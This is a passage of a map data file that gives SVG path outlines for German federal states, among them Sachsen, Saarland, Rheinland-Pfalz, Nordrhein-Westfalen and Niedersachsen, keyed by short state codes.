2.85,7.1 5.04,10.2 1.56,1.12 3.1,3.53 5.09,1.5 1.43,0.34 0.36,3.67 3.4,2.47 5.03,0.4 10.67,-0.76 14.8,2.92 4.21,3.5 4.64,9.55 8.23,13.45 3.79,1.81 5.25,6.01 5.59,9.84 1.82,3.22 5.7,4.78 8.7,6.74 2.98,1.76 2.45,-2.04 3.3,-3.87 0.32,-3.07 2.7,-3.68 2.95,-0.51 1.97,4.21 4.12,0.09 5.74,-1.98 1.13,-1.81 1.09,-3.61 3.84,-2.85 2.75,1.63 4.73,-1.94 6.94,-3.16 -0.04,-2.48 1.02,-3.47 3.73,-4.47 1.51,-1.18 4,-1.93 4.95,0.16 -0.92,3.02 -1.41,6.74 1.26,9.04 1.1,1.47 -0.59,3.76 -1.58,5.02 -3.72,1.55 -2.94,7.3 0.6,8.57 3.05,0.71 1.81,2.28 4.18,4.34 1.9,2.3 3.7,4.33 6.71,5.17 4.24,1.47 7.8,5.01 12.4,5.13 1.57,-2.96 0.71,-7.47 3.24,-9.94 1.76,-0.99 3.85,1.15 5.23,-1.34 4.78,-3.66 7.65,-9.11 11.5,-13.72 0.07,-2.89 2.79,-4.69 1.09,-7.69 -1.21,-2.36 -3.12,-1.39 -5.13,-1.38 -2.37,-1.11 -4.33,-3.37 -5.88,-5.25 0.57,-2.78 0.94,-5.55 -0.72,-8.01 -1.68,-4.33 3.4,-6.71 6.26,-8.75 2.76,0.39 4.62,-1.55 2.8,-4.28 -2.57,0.04 -0.18,-3.45 -2.47,-3.84 -2.6,1.03 -5.44,-0.16 -6.16,-2.94 -1.95,-2.52 -0.1,-5.31 2.05,-6.91 1.09,-2.74 3.32,0.44 5.2,-0.9 2.94,-4.13 6.93,-7.19 11.06,-10.05 2.63,-1.56 0.21,-5.06 0.5,-7.57 -0.21,-3.63 -1.2,-7.39 -0.01,-10.84 0.18,-2.96 -5.24,-0.47 -7.49,-1.07 -5.13,1.62 -7.3,9.04 -13.4,8.34 -3.13,0.69 -4.64,-2.86 -6.1,-4.84 -4.97,-2.87 -10.19,-5.54 -15.47,-7.76 -2.99,-1.52 -6.08,0.55 -8.5,2.13 -0.97,2.39 -2.38,4.59 -2.88,7.13 -1.56,-1.44 -3.01,-3.67 -0.84,-5.3 1.62,-1.77 -1.68,-4.84 0.9,-6.58 0.02,-1.27 -2.39,-3.21 -3.97,-2.94 -4.31,0.8 -8.65,1.68 -12.59,3.47 -2.43,1.23 -4.15,-0.86 -4.81,-2.94 1.24,-1.68 2.97,0.32 4.34,-1.22 3.92,-1.6 8.22,-4.79 7.48,-9.56 -0.08,-4.17 0.91,-8.43 -1.14,-12.32 -1.21,-3.12 -1.73,-8.59 -5.28,-9.18 -0.59,1.71 -1.3,5.52 -3.94,3.91 -3.94,-2.44 -5.62,-7.87 -10.62,-8.75 -2.4,-0.95 -5.92,-1.49 -2.94,-4.34 -2.83,-1.32 -4.46,2.91 -6.75,4.06 -1.81,0.77 -3.7,1.77 -5.55,1.1 -2.17,-0.1 -2.78,3.34 -5.32,2.53 -2.44,-0.17 -5.39,0.15 -5.47,-3.04 1.26,-2.25 -1.79,-2.35 -3.37,-3.29 -2.69,-1.82 -6.3,0.87 -8.88,-1.52 -3,-2.97 -8.01,-2.63 -12.09,-2.77 -2.73,-0.05 -5.94,1.35 -8.19,-0.63 -2.53,-0.79 -2.34,1.14 -3.28,2.91z M165.38,30.69c0.26,2.81 0.4,-8.09 0.17,-2.47 -0.06,0.82 -0.12,1.65 -0.17,2.47z m13.5,1.44c-2.38,0.11 -5.93,-0.19 -6.48,2.95 -0.84,2.31 2.84,2.19 4.01,3.33 2.08,0.12 5.59,1.6 6.02,-1.46 1.83,-2.49 -0.07,-5.86 -3.55,-4.82z m-11.97,6.41c-1.92,2.44 0.88,5.14 2.25,6.97 3.61,0.13 0.82,-1.45 -0.03,-3.16 -0.91,-0.75 -0.95,-5.89 -2.22,-3.81z M181.53,44c-3.16,2.07 3.2,-1.05 4.68,-0.94 3.57,-2.86 -4.04,0.86 -4.68,0.94z m-1.31,6.22c-3.19,-0.54 3.33,2.8 0.63,-0.13 -0.17,-0.12 -0.42,0.08 -0.63,0.13z m8.44,2.63c-1.5,0.95 -5.02,0.69 -5.3,2.69 0.04,2.05 2.12,3.65 4.01,2.44 0.45,-0.74 3.48,-5.42 1.28,-5.13z m142.28,2.25c-2.22,2.09 -3.42,5.93 -2.84,8.5 1.81,-1.93 6.45,-1.17 5.53,2.13 0.75,2.01 5.23,1.5 7.53,1.68 3.9,0.79 4.95,-0.34 2.64,-3.56 -1.78,-3.59 -4.09,-7.7 -8.61,-7.85 -1.38,-0.32 -3.03,-0.37 -4.25,-0.9z m-134.34,2.94c-1.42,2.56 1.08,4.09 3.5,3.69 1.95,-0.37 3.87,-2.9 3.63,-4.91 -2.37,-0.51 -4.91,-1.04 -6.76,0.98l-0.36,0.24z M140.06,88.88c-0.28,2.81 2.92,0.39 0,0z m48.13,13.38c-1.61,1.32 0.69,2.85 0.06,-0.03l-0.06,0.03z","name":"Schleswig-Holstein"},"st":{"path":"m367.5,207.72c-2.53,0.49 -2.68,6.11 -5.69,3.88 -1.54,-0.27 -2,4.74 -0.62,6.28 -1.83,0.03 -4.69,1.23 -5.84,3.45 -2.16,1.75 -5.06,2.95 -7.73,3.81 -1.55,-0.32 -3.98,0.25 -4.38,-1.66 -3.96,-2.32 -9.18,-1.22 -13.69,-1.78 -0.82,1.11 0.07,3.08 -1.73,3.89 -1.82,3.69 -6.1,1.61 -9.28,2.54 -2.64,-0.11 -4.45,1.7 -3.62,4.38 -0.45,3.07 1.59,5.83 2.38,8.76 4.58,2.95 6.91,8.32 9.22,13.03 -1.02,4.14 2.73,7.03 5,9.88 -2.35,-0.75 -6.67,0.93 -4.41,3.78 2.13,2.7 4,5.66 7.03,7.25 2.19,1.61 0.12,4.97 -2.22,4.59 -1.88,2.15 -0.66,5.73 1.52,7.3 1.12,1.37 4.12,3.9 1.64,5.39 -1.82,-0.07 -4.08,1.44 -3.31,3.44 0.85,1.22 3.42,-0.32 2.88,2 0.05,3.3 -3.89,4.53 -5.42,6.71 -0.9,2.3 0.67,6.76 -2.83,4.48 -2.5,-0.5 -4.36,0.86 -6.64,1.31 -3.5,0.14 -7.17,-0.75 -10.56,0.56 0.56,2.46 -2.44,4.29 -4.71,3.94 -2.29,1.2 4.79,4.03 4.2,5.21 -3.3,0.45 -2.03,3.05 0.01,3.98 1.13,2.32 -0.87,4.55 -2.86,5.36 -2.94,1.53 -1.17,5.3 -1.3,7.86 2.06,2.6 4.65,5.37 5.72,8.78 -0.64,2.04 0.85,6.26 3.56,4.75 3.65,0.5 8.21,-0.2 10.69,3.16 4.64,-2.48 0.38,1.08 -0.35,3.49 0.67,3.87 3.9,7.06 5.79,10.42 0.02,2.22 -1.14,5.56 1.78,6.09 2.2,-1.04 4.22,-0.48 6.44,0.45 5.84,2.46 12.54,-0.89 18.17,2.38 2.32,0.62 -0.45,4.34 2.28,4.54 1.79,0.31 -0.33,2.19 2.35,3 1.69,0.92 2.02,2.61 0.5,3.94 -1.45,1.35 -2.21,4.99 -4.56,4.59 -2.63,-0.91 0.09,3.99 2.28,1.66 2.83,0.66 5.62,4.8 3.25,7.41 -2.57,1.08 1.05,5.18 3.56,3.71 1.96,-0.79 2.91,-2.94 5.65,-1.43 2.6,0.08 6.05,0.91 5.78,4.15 1.33,1.52 4.58,2.03 6.72,2.37 2.49,-0.44 5.14,-1.91 7.2,0.43 2.77,1.74 6.17,3.82 6.94,7.21 2.79,-1.13 5.73,-0.73 8.41,0.53 1.23,-2 2.73,-1.49 3.69,0.66 0.59,3.07 2,-0.72 2.48,-1.83 0.83,-2.27 3.92,-5.75 0.2,-7.01 -1.99,-2.12 2.54,-4.35 -0.47,-5.52 -3.54,-1.32 0.06,-3.71 -3.77,-3.68 -1.13,-1.82 -0.14,-5.31 -0.45,-7.77 0.09,-3.62 -2.36,-6.17 -3.27,-9.5 -2.24,-2.8 3.78,-1.95 2.18,-4.77 -0.27,-3.83 -1.97,-7.24 -2.66,-10.91 1.12,-2.57 2.7,-5.07 2.75,-7.88 2.68,-2.78 6.09,-4.94 9.75,-6.06 4.81,0.08 9.58,-1.34 13.94,-3.25 0.29,-3.17 3.92,1.99 5.64,-1.8 0.58,-1.59 1.27,-4.54 3.8,-3.39 2.22,1.16 4.46,1.71 7.03,1.3 4.79,-0.31 9.85,0.27 14.45,-1.01 2.63,-2.16 7.03,-3.34 7.55,-7.13 -2.51,-3.21 -2.57,-7.84 -4.05,-11.66 -1.56,-2.32 0.46,-2.56 1.11,-3.49 -1.21,-1.69 -2.84,1.88 -4.93,0.87 -3.35,0.33 -4.21,-4.14 -7.34,-4.73 -1.95,-1.81 -4.21,-0.39 -6.46,-1.61 -1.95,-1.37 -5.09,-1.98 -5.86,-4.32 -2.25,-0.71 -4.5,-3.34 -6.75,-2.88 0.04,3.1 -4.02,3.62 -6.31,2.65 -6.29,-1.76 -13.04,-4.4 -16.59,-10.25 -1.82,-2.88 -4.27,-5.73 -5.88,-8.53 1.69,-2.65 1.92,-5.52 1.61,-8.56 0.08,-3.49 1.94,-6.54 3.57,-9.44 -0.44,-3.76 -2.35,-8 0.31,-11.34 1.69,-3.42 -2.77,-5.17 -4.84,-4.84 -0.77,1.84 -4.03,2.12 -4.73,-0.07 -3.16,-2.02 -0.66,-5.45 -0.28,-8.33 0.25,-2.72 1.68,-3.75 3.82,-4.6 0.52,-2.45 0.69,-5 -1.29,-6.86 -2,-2.13 -0.72,-5.29 -0.24,-7.76 2.19,-2.1 2.75,-4.3 1.28,-7.4 -0.37,-2.87 -3.52,-1.27 -5.2,-0.49 -2.2,0.23 -1.98,-4.35 -5.66,-2.08 -3.04,0.71 -6,0.64 -8.83,-0.79 -2.04,-1.1 -6.47,-1.05 -6.16,-4.18 0.48,-0.96 2.72,-2.17 0.45,-2.84 -2.36,-0.92 -4.97,-4.41 -7.35,-1.78 -2.26,0.12 -3.78,-2.34 -5.44,-3.56 -1.33,-1.14 2.25,-2.99 -0.03,-2.78z m-35.72,88.19c-0.1,0.03 0.04,0.06 0,0z","name":"Sachsen-Anhalt"},"sn":{"path":"m438.91,347.22c-0.71,1.7 -1.23,3.74 -3.22,4.5 -2.58,1.63 -3.52,-1.1 -5.94,1.53 -4.3,1.22 -8.55,2.77 -13.09,2.53 -3.01,1.74 -7.34,3.17 -8.45,6.62 0.03,3.26 -3.77,5.91 -1.75,9.19 1.33,3.2 1.78,6.8 2.19,10.31 -4.06,0.29 -2.18,3.87 -0.74,6.17 2.24,3.72 1.36,8.42 1.53,12.58 2.6,-0.28 2.73,2.06 3.18,3.2 1.51,2.44 3.44,1.13 5.41,0.39 3.7,1.5 8.18,1.88 11.41,4.16 0.74,1.94 -0.81,4.85 2,5.77 1.72,1.99 6.37,0.62 6.03,4.01 -0.35,2.66 3.75,3.98 1.22,5.97 -3.58,1.98 -8.34,0.37 -11.41,3.34 -0.07,2.05 -0.66,4.73 -3.19,4.69 -0.84,-2.38 -4.84,-0.74 -3.91,1.56 -2.16,0.55 -4.73,2.38 -6.75,1.41 -0.26,3.26 -1.99,6.93 0.66,9.67 0.13,3.51 6.2,1.64 4.46,5.11 -1.54,2.13 -3.26,4.42 -6.11,4.51 -2.19,1.15 -4.93,1.82 -6.85,3.17 1.14,0.4 3.92,-0.58 2.97,1.81 -1.3,0.56 -2.71,1.18 -4.15,1.04 -1.87,-0.95 -6.83,1.68 -5.71,-1.56 0.5,-1.28 0.39,-7.08 -1.74,-3.97 -0.56,2.99 -4.53,3.58 -5.56,6.44 -1.97,1.1 -1.24,4.78 1.19,3.64 1.33,1.03 5.21,3.22 2.79,5.13 -0.59,1.68 -5.69,2.39 -2.69,4 2.14,0.67 3.79,2.61 5.05,4.37 -0.72,2.68 -0.54,4.28 2.54,4.44 2.89,0.5 5.02,2.48 7.96,1.72 3.8,-1.14 4.85,3.42 6.85,5.61 1.23,2.16 4.76,5.08 2.59,7.58 -0.49,1.72 3.93,3.14 3.09,0.38 -2.48,-2.46 -0.08,-6.44 1.28,-8.97 2.86,-4.57 6.53,-8.74 9.94,-12.84 4.56,-2.02 9.99,-0.84 14.06,-4.03 2.14,-0.66 4.2,-3.73 6.38,-3.05 2.63,1.52 5.07,3.45 7.78,4.83 2.07,-1.12 5.11,-3.24 4.13,-5.91 0.2,-2.04 -0.2,-5.69 2.84,-5.24 2.59,-0.29 5.2,-0.72 7.63,0.55 2.91,-0.54 1.72,-4.96 3.88,-6.45 2.35,-2.97 5.63,-5.26 8.68,-7.26 2.67,-0.81 5.51,3.8 7.01,0.39 1.65,-1.64 3.72,-4.3 2.58,-6.74 3.93,-2.17 7.47,-5.47 12.25,-5.22 2.33,-0.49 4.94,-0.78 7,0.62 2.41,-0.15 5.15,-2.09 4.01,-4.81 -1.95,-3.53 3.27,-1.43 5.18,-3.05 2.77,-1.08 6.09,-1.25 7.96,-3.69 5.86,-2.9 11.49,-6.39 17.78,-8.32 1.88,-3.11 -0.76,-3.48 -3.2,-3.83 -2.51,-0.45 -4.28,-2.72 -5.9,-4.48 1.17,-2.33 1.01,-5.72 3,-7.44 2.01,-0.54 2.32,2.64 4.53,2.3 2.11,1.26 6.52,1.34 7.5,-0.58 -0.17,-3.74 3.64,0.67 5,1.7 3.7,2.16 4.3,6.67 5.45,10.42 1.49,2.62 -2.09,6.06 2.42,6.33 2.67,0.89 5.37,2.57 8.28,1.87 0.47,-3.78 1.26,-7.7 4.06,-10.39 2.84,-3.18 3.04,-7.91 3.71,-11.62 2.05,-4.17 1.85,-9.14 2.71,-13.74 0.26,-3.07 0.84,-6.1 1.99,-8.91 0.22,-5.15 -3.62,-9.39 -5.25,-14.09 -0.63,-2.47 0.48,-5.37 -1.69,-7.4 -2.96,-2 -6.81,-2.81 -10.16,-4.16 -2.63,0.45 -5.28,-0.92 -5.64,-3.77 -0.41,-2.32 0.72,-4.39 -0.77,-0.54 -0.78,2.23 -4.07,1.99 -5.91,1.44 -0.89,-2.72 -3.76,-2.22 -5.89,-1.05 -2.43,0.03 -4.2,1.93 -3.78,3.04 -2.98,-1.35 -5.85,1.55 -8.48,2.42 -3.55,-1.67 -7.51,-1.35 -11.28,-1.56 -3.58,3.73 -3.22,9.41 -5.54,13.67 -1.24,3.16 -4.34,3.42 -7.26,3.89 -3.26,1.02 -6.88,-0.1 -9.67,2.35 -1.59,0.79 -4,-0.13 -5.49,-0.56 -4.01,0.9 -8.8,0.36 -12.18,-2.44 -2.57,-1.34 -4.55,-3.47 -6.76,-5.28 -2.23,1.37 -5.63,2.37 -6.56,4.87 -0.02,1.86 -4.09,1.87 -5.44,1.29 -1.42,-2.13 -2.64,-3.94 -1.26,-6.61 0.56,-3.54 0.3,-7.09 -1.63,-10.2 -0.72,-1.89 -2.32,-5.98 -4.72,-4.31 -2.79,1.33 -2.48,-5.48 -5.68,-3.53 -5.59,0.15 -11.31,0.77 -16.84,0.31 -1.25,-0.57 -2.44,-1.63 -3.94,-1.22z","name":"Sachsen"},"sl":{"path":"m63.72,553.88c-2.9,2.18 -6.1,2.82 -9.5,4.44 -3.47,4.51 -10,4.1 -15.06,5.38 -4.6,0.18 -8.97,-1.26 -13.22,-2.78 -2.47,1.73 -0.51,5.04 -0.84,7.5 1.8,0.96 4.08,-1.32 5.97,0.4 2.44,1.62 5.28,3.2 6.78,5.81 -3.49,0.44 0.05,4.79 -0.09,6.94 1.05,3.41 4.13,4.95 6.56,7.16 1.79,1.94 0.3,5.34 3.04,6.13 2.43,1.92 -2.53,4.66 1.39,5.86 2.37,0.12 6.25,2.27 7.13,-1.09 -0.35,-2.25 -3.03,-3.71 0.38,-4.78 4.42,0.26 10.1,1.27 11.81,5.94 0.51,1.58 -0.22,5.5 1.56,5.84 2.33,-0.7 1.95,-7.32 3.65,-3.1 1.02,1.94 2.67,2.87 4.44,1.6 2.61,-0.08 5.35,0.47 7.44,1.84 0.63,-1.3 5.37,-2.76 3.56,-3.91 -1.62,-2.52 -4.36,-5.17 -3.81,-8.41 1.42,-2.72 5.03,-3.05 6.69,-5.31 0.32,-2.19 -0.19,-4.41 0.63,-6.91 -2.49,1.08 -4.55,-2.01 -6.84,-2.72 1.25,-2.57 -1.08,-3.33 -2.41,-4.88 -1.38,-2.57 3.05,-1.81 2.04,-4.46 0.15,-3.03 0.9,-7.08 -0.66,-9.48C81.13,563.37 78.01,559.23 75,558.25c-1.82,-1.1 -4.05,-5.12 -6.16,-3.76 -1.8,1.27 -2.93,1.15 -3.06,-0.42 -0.68,-0.01 -1.4,-0.33 -2.06,-0.19z","name":"Saarland"},"rp":{"path":"m124.22,422c-3.08,1.37 -2.76,4.11 -2.15,6.91 -0.74,2.27 -2.92,4.57 -5.35,5.28 1.82,2.98 -1.68,6.02 -4.55,6.28 -3.87,1.42 -8.15,2.76 -11.74,4.31 -2.53,-1.67 -5.28,-0.25 -4.24,2.84 0.38,2.78 -1.77,4.53 -4.33,4.8 -2.21,0.9 -4.57,1.03 -6.93,0.89 0.24,-3.01 0.16,-2.77 -0.66,-0.16 -2.61,2.5 -6.78,2.21 -10.16,3.14 -1.7,1.36 -3.59,4.13 -6.33,3.09 -1.84,0.93 -1.47,5.36 -2.5,7.61 -0.31,2 -3.88,3.46 -5.32,1.71 -2.49,-2.13 -5.07,1.92 -3.92,4.39 -1.32,2.14 3.87,6.32 1.33,6.03 -2.57,-0.38 -4.98,1.47 -7.53,-0.25 -1.87,-0.86 -4.14,-1.17 -5.28,-3.06 -3.07,1.11 -6.64,2.41 -9.75,2.06 -1.18,-2.88 -5.27,-3.74 -3.13,0.21 0.06,1.85 3.77,4.69 0.04,3.72 -2.34,1.34 -4.33,-0.2 -6.47,-0.11 -0.71,2.72 -2.48,4.43 -4.99,5.59 -1.73,1.37 -5.12,2.04 -4.14,4.93 1.73,3.46 -1.97,4.26 -2.68,6.98 -1.38,4.14 -2.64,8.53 -0.77,12.73 1.47,5.09 3.95,10.18 7.71,13.93 3.19,1.73 6.27,3.8 8.6,6.49 1.94,2.68 4.29,-1.39 6.06,0.93 1.74,1.25 1.47,4.34 1.36,6.37 -1,5.55 -4.71,9.97 -7.61,14.63 -1.1,1.62 -3.21,1.58 -3.81,3.7 1.32,3.4 5.62,2.86 8.44,4.25 6.02,0.99 12.25,-0.27 17.78,-2.55 1.84,-1.13 2.94,-3.18 5.35,-3.48 2.7,-0.62 4.85,-2.4 7.33,-3.4 2.47,-0.56 3.3,1.96 4.66,0.63 1.69,-1.87 4.4,2.01 6.06,3.12 2.19,1.85 4.96,3.22 7.6,4.23 2.08,-1.3 3.07,-1.77 3.74,1 0.63,3.7 0.2,7.6 -0.21,11.34 -3.62,0.15 -1.02,2.73 0.84,3.34 -0.88,3.1 1.79,3.86 4.18,5.17 2.7,-0.99 3.7,-0.04 2.19,2.5 -0.63,2.28 0.81,4.56 -1.1,6.61 -1.8,1.77 -5.4,2.25 -6.16,5.03 0.5,2.47 2.45,5.22 3.88,6.72 0.53,-2.07 4.25,-1.3 6.09,-2.06 2.18,0.88 4.73,2.02 3.59,4.81 0.57,4.16 4.15,6.47 7.58,8.3 4.06,2.82 9.28,1.81 13.75,1.03 5.57,0.87 11.49,1.89 16.04,5.46 1.5,1.92 4.34,2.91 6.75,3.03 1.44,0.1 3.88,-0.46 4.75,1.03 2.73,-1.42 4.25,-4.04 4.38,-7.03 0.97,-3.35 4.62,-5.13 4.47,-8.92 0.59,-3.28 2.22,-6.72 1.35,-9.86 0.74,-2.94 4.48,-3.42 5.84,-6.03 2.45,-0.61 0.47,-2.16 -0.81,-2.44 -2.02,-2.71 2.93,-3.58 2.9,-6.17 0.3,-2.2 -0.42,-4.5 0.69,-6.55 -1.31,-0.77 -4.55,0.38 -4.34,-2.22 1.3,-2.38 -0.67,-5.57 -0.94,-8.16 -1.05,-1.55 -0.56,-3.22 -0.06,-4.81 -2.06,-3.14 -3.58,-6.56 -4.31,-10.28 -0,-3.21 3.88,-3.16 5.84,-4.38 1.83,-1.95 0.9,-4.67 -1.26,-6.04 -2.48,-3.08 -4.3,-6.94 -4.99,-10.83 0.78,-1.71 1.4,-3.41 0.25,-5.25 -0.12,-3.38 -3.6,-5.04 -5.13,-7.75 -2.86,-3.27 -7.52,-1.08 -10.66,0.56 -4.69,1.79 -9.52,4.51 -14.68,3.47 -2.44,-2.49 -4.42,-5.7 -6.29,-8.66 -2.19,-2.94 2.65,-2.19 3.79,-4.33 1.44,-3.52 5.56,-1 5.95,-3.31 1.05,-2.62 -4.12,-2.88 -2.51,-5.79 1.38,-2.83 4.79,-3.85 7.44,-4.63 1.92,2.63 5.73,-0.22 2.09,-1.81 -1.3,-2.26 2.57,-3.89 4.23,-2.24 3.08,0.46 1.96,-3.71 0.96,-5.33 -1.37,-3.08 -3.17,-5.78 -6.33,-7.23 -3.79,-0.63 -1.12,-3.37 -0.49,-6.08 0.24,-1.88 -1.87,-3.91 -0.43,-6.13 1.19,-2.18 3.39,-6.07 6.28,-3.97 1.67,3.39 3.78,0.05 4.16,-2.21 1.81,-2.05 -0.69,-2.3 -1.07,-3.97 -0.17,-2.37 -1.93,-5.43 0.13,-7.42 -0.88,-3.78 -6.22,1.19 -5.36,-1.83 1.28,-4.22 -5.99,-5.38 -4.53,-9.85 1.32,-2 0.84,-5.3 -1.94,-5.86 -1.78,-2.03 -5.71,-1.54 -6.82,-3.48 -0.21,-1.96 2.71,-4.06 -0.25,-4.94C125.29,422.08 124.64,421.87 124.22,422z","name":"Rheinland-Pfalz"},"nw":{"path":"m177.25,263.34c-2.1,-1.63 -5.7,-1.31 -6.06,1.91 0.19,3.63 -4.48,4.11 -7,3.66 -1.11,-1.64 -4.06,-2.21 -2.35,0.66 0.52,3.14 4.56,4.05 6.57,6.26 1.92,1.46 2.52,4.49 2.62,6.8 0.18,2.64 0.19,5.1 -0.9,7.58 -1.32,1.99 0.48,3.83 2.46,3.92 3.25,0.58 0.3,2.71 -0.78,3.97 -1.55,0.88 -3.89,0.86 -4.75,2.84 1.66,2.95 -2.56,1.58 -4.29,1.1 -2.41,-0.95 -5.38,-1.98 -7.02,0.74 -2.16,1.92 -4.56,3.57 -7.26,4.5 -1.87,2.2 -2.96,-0.94 -5.46,-0.31 -2.18,0.39 -2.63,4.37 -4.84,2.75 -2.6,-0.41 -3.41,-2.28 -4.46,-4.35 -2.31,-1 2.21,-2.81 3.55,-2.98 3.51,0.2 5.07,-3.48 2.41,-5.69 -1.71,-1 -4.92,-1.05 -5.1,-3.81 -0.4,-2.56 2.07,-4.87 2.81,-7.19 0.91,-0.72 -1.83,-2.26 -0.5,-3.69 3.14,-1.64 1.45,-5.72 -1.26,-6.8 -2.05,-1.15 -4.05,1.71 -6.33,0.21 -2.51,-1.72 -6.07,-2.59 -6.27,-6.18 -0.22,-2.85 -2.57,-3.65 -4.96,-4.34 -1.35,-0.64 -3.78,3.65 -1.27,3.96 1.72,1.12 -0.74,4.19 -1.92,5.19 -4.58,2.06 -9.39,4.71 -12.83,8.28 -0.91,2.09 -3.91,0.71 -4.63,3.16 -3.68,0.16 -7.44,-1.07 -11.03,-0.19 -1.13,2.36 -3.53,1.5 -5.41,2.92 -3.3,2.56 -8.23,3.82 -10.15,7.67 -0.16,4.41 -5.85,3.29 -8.27,5.42 -1.07,1.95 -3.97,5.3 -0.36,6.02 2.12,2 6.43,3.97 4.59,7.5 -2.07,2.76 -4.18,5.76 -7.59,6.94 -1.43,-2.65 -3.58,-2.35 -5.97,-1.09 -2.93,0.68 -5.59,2.43 -8.37,3.24 -1.83,0.92 -6.4,-1.52 -6.2,0.14 1.25,2.44 1.32,5.11 -1.64,2.71 -2.84,-2.65 -6.23,-5.14 -10.34,-4.5 -2.26,1.13 -4.86,1.79 -7.57,1.91 -2.94,-0.3 -6.47,1.11 -7.66,3.97 0.91,4.49 1.78,9.09 3.5,13.31 3.65,0.48 3.87,3.28 3.59,6.38 -0.03,2.95 4.03,4.36 4.95,7.23 3.16,3.93 2.85,9.32 1.32,13.83 -1.07,2.64 2.37,5.59 -1.15,7.3 -2.71,3.53 -6.04,6.82 -8.16,10.71 -0.6,1.66 -1.81,5.57 0.42,6.15 1.79,-1.07 4.45,-3.48 6.03,-0.89 -1.83,0.74 -3.77,2.52 -4.63,4.79 -4.06,2.72 -7.88,5.86 -12.82,6.75 -2.54,0.57 -4.87,1.7 -3.17,4.63 0.65,3.73 2.86,3.68 5.9,3.34 1.73,-0.12 4.7,0.11 2.92,2.43 -1.62,2.73 0.97,3.7 3.18,4.3 2.89,0.68 -1.54,3.27 0.66,4.81 0.17,1.78 -1.03,5.56 -2.97,3.06 -2.7,0.41 -2.86,4.47 -3.11,6.49 1.25,3.17 3.86,4.98 6.86,6.32 1.73,2.64 2.03,6.34 4.88,8.31 -3.91,1.75 5.55,0.78 2.22,4.39 0.29,3.25 -5.37,3.94 -3.38,7.37 0.76,1.42 1.86,4.52 3.66,2.67 3.25,-0.44 6.22,1.26 7.36,4.35 2.36,2.77 -0.08,6.31 -0.45,9.15 2.56,4.82 -0.8,-1.03 2.06,-1.07 2.71,-1.06 3.44,4.11 6.19,2.53 2.75,0.37 5.82,-2.69 8.02,-1.5 1.92,2.23 5.39,3.01 8.14,3.37 3.72,-0.21 2.3,-1.41 1.51,-3.82 0.04,-2.95 -1.16,-6.55 2.63,-7.5 2,-1.69 3.89,3.12 6.16,0.31 1.15,-2.86 1.77,-6.3 2.41,-9.46 2.7,1.12 5.4,-0.08 6.75,-2.56 3.27,-1.13 7.52,-0.86 10.35,-2.91 0.37,-1.12 0.98,-4.32 2.62,-2.66 -0.82,3.1 2.33,2.44 4.39,1.84 2.3,-0.53 5.31,-1.22 4.81,-4.28 -0.51,-2.22 0.4,-5.33 3.3,-4.47 2.78,1.45 5.46,-1.31 8.27,-1.76 3.1,-1.68 7.91,-1.4 9.45,-5.05 -0.47,-2.98 -4.28,-3.7 0.44,-3.18 2.74,-1.08 5.31,-3.89 4.08,-6.99 -1.04,-2.52 1.87,-4.26 3.71,-5.24 2.21,0.36 5.37,2.16 3.03,4.28 -1.84,2.46 1.06,2.47 2.69,2.94 2.57,1.6 7.18,2.77 6.12,6.74 -0.22,1.83 -1.49,3.93 0.54,5.35 1.58,1.78 4.44,3.29 3.47,6.09 1.92,-1.91 4.28,0.75 5.25,0.78 1.15,-1.97 2.94,-4.17 0.84,-6.13 -1.97,-2.33 -1.27,-4.35 1.26,-5.9 2.67,-2.21 4.81,-5.42 7.75,-7.15 2.53,-0.53 5,4.12 6.81,1 1.81,-2.99 4.43,-5.63 4.94,-9.19 1.73,-1.11 2.77,-3.4 4.66,-4.63 0.39,-1.91 -1.57,-4.12 -1.75,-6.25 0.73,-3.23 4.88,-3.7 7.64,-2.9 1.98,0.85 4.51,0.77 5.94,-0.93 1.31,-3.2 3.81,-6.24 2.52,-9.88 -0.64,-1.84 0.53,-6.24 -2.48,-5.85 -2.48,0.46 -4.55,3.29 -7.13,2.53 -1.37,-1.68 -3.72,-3.65 -1.3,-5.48 2.34,-4.53 6.76,-7.46 11.73,-8.41 3.83,-1.47 7.94,-1.54 11.98,-1.11 1.92,-2.78 -0.9,-3.85 -1.9,-6.19 -1.82,-1.61 -1.41,-4.36 1.19,-4.68 3.14,-1.44 7.01,-2.83 10,-0.32 2.4,1.63 -0.27,3.86 1.25,5.59 1.92,0.62 4.04,0.65 4.63,-1.66 3.98,-3.61 9.19,-6.08 11.4,-11.26 1.23,-2.28 4.7,-5.14 4.82,-6.65 -1.68,0.55 -4.34,-0.05 -3.2,-2.36 0.05,-5.23 2.13,-10.09 3.74,-14.92 1,-2.69 -2.16,-5.66 -4.66,-4.72 -3.16,2.83 -0.64,-2.27 -0.81,-4.06 -0.05,-2.72 -2.54,-1.8 -3.99,-2.62 -2.61,-2.3 -7.4,-3.71 -6.62,-8.03 0.39,-2.34 -1.28,-5.79 0.83,-7.47 -2.23,-1.73 -1.62,-3.85 -2.5,-6.03 -2.65,-0.77 -5.5,-0.87 -7.39,-3.23 -1.18,-0.94 -5.31,-5.84 -2.07,-3.89 2.92,3.3 5.04,-1.41 4.58,-3.56 -1.6,-1.73 -4.39,-1.61 -6.02,-2.94 -1.48,-2.41 1.21,-4.72 1.94,-6.91 1.84,-2.01 5.4,-1.29 6.16,-4.38 1.42,-2.09 2.16,-4.3 0.81,-6.53 1.2,-2.26 2.95,-5.17 -0.91,-5.56 -3.17,-1.51 -3.6,3.21 -5.58,4.74 -1.93,2.12 -2.98,5.59 -6.39,5.38 -3.28,0.88 -6.88,0.85 -10.18,0.44 -3.79,-0.66 -2.03,-5.2 -2.58,-7.89 -0.63,-2.02 1.28,-4.76 -1.4,-5.81 -1.68,-1.96 -4.73,1.64 -6.71,2.05z m32.09,14.69c-0.04,0.06 0.1,0.03 0,0z","name":"Nordrhein-Westfalen"},"ni":{"path":"m186.44,120.91c-5.6,0.51 -6.88,7.11 -8.44,11.54 -1.55,4.84 -4.41,10.19 -1.33,15.08 0.62,2.76 4.51,0.93 6.62,1.66 3.74,-0.55 1.44,3.37 1.28,5.34 -0.09,2.27 2.07,5.17 -0.81,6.68 -0.57,2.01 -4.6,1.89 -4.47,0.01 0.2,-1.62 -2.19,-2.79 -1,-4.38 -2.39,-2.05 -5.8,-0.88 -8.29,-2.92 -3.19,-0.55 -3.1,-6.58 -7,-4.9 -3.25,1.5 -2.87,5.42 -3.31,8.39 1.73,1.09 4.31,-1.81 5,0.84 0.65,4.51 -0.3,10.35 -4.66,12.69 -2.05,0.33 -4.01,-0.7 -4.44,-2.75 -1.01,-1.99 -2.84,-4.1 -4.91,-2.06 -2.51,-1.99 -2.84,-5.26 -2.69,-8.25 1.7,2.41 4.86,0.82 